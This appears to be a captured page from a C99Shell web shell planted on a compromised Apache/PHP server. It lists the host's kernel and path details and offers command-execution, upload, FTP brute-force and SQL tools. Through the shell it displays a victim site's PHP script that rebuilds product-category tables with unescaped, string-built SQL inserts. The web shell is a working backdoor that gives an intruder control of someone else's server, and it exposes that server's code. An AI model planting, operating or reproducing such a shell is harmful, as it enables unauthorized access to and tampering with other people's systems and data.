!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.3.29 

uname -a: Linux tardis23.nocplanet.net 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024
x86_64
 

 

Safe-mode: OFF (not secure)

/home/memoriacel/public_html/2018/panel/   drwxr-xr-x
Free 985.1 GB of 1859.98 GB (52.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     actualizar_rubros_viejos.php (1.83 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
session_start
();
$pagina_actual="actualizar-rubros";
$categoria_actual="rubros";
require_once(
"includes/config.php");
require_once(
"includes/funciones.php");?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Documento sin t&iacute;tulo</title>
</head>

<body>
<?
                                                            
//$query = $mysqli->query("TRUNCATE TABLE banking_rubros_viejo");
//$lines = file('extraer/rubros.txt');
/*foreach ($lines as $line_num => $line) {
        $datos = explode("    ", $line);
        $ww=0;
        while ($ww<=1)
            {$datos[$ww]=trim($datos[$ww]);
             $datos[$ww] = str_replace( "'", "_", $datos[$ww] ); 
             $ww=$ww+1;
            } */

$rubros=$mysqli->query("
SELECT cod_rubro, descripcion
FROM banking_rubros
"
);
while (
$rubro mysqli_fetch_assoc($rubros)){
    
$cod_rubro=$rubro['cod_rubro'];
    
$n_rubro=utf8_decode($rubro['descripcion']);
    
//$n_rubro=$mysqli->real_escape_string($rubro['descripcion']);
            
      
$insertSQL $mysqli->query("INSERT INTO banking_rubros (cod_rubro, descripcion) VALUES ('$cod_rubro','$n_rubro')");

        } 
//fin while
        
//$query = $mysqli->query("TRUNCATE TABLE banking_rubros");    
$subrubros=$mysqli->query("
SELECT cod_rubro, cod_subrubro, descripcion
FROM banking_subrubros   
"
);
while (
$subrubro mysqli_fetch_assoc($subrubros)){
    
$cod_rubro=$subrubro['cod_rubro'];
    
$cod_subrubro=$subrubro['cod_subrubro'];
    
$cate=$cod_rubro.".".$cod_subrubro;
    
$n_subrubro=utf8_decode($subrubro['descripcion']);
            
      
$insertSQL $mysqli->query("INSERT INTO banking_rubros (cod_rubro, descripcion) VALUES ('$cate','$n_subrubro')");

        } 
//fin while        
 
?><script language="javascript">location.href = "actualizar_articulos.php";</script>


</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.2194 ]--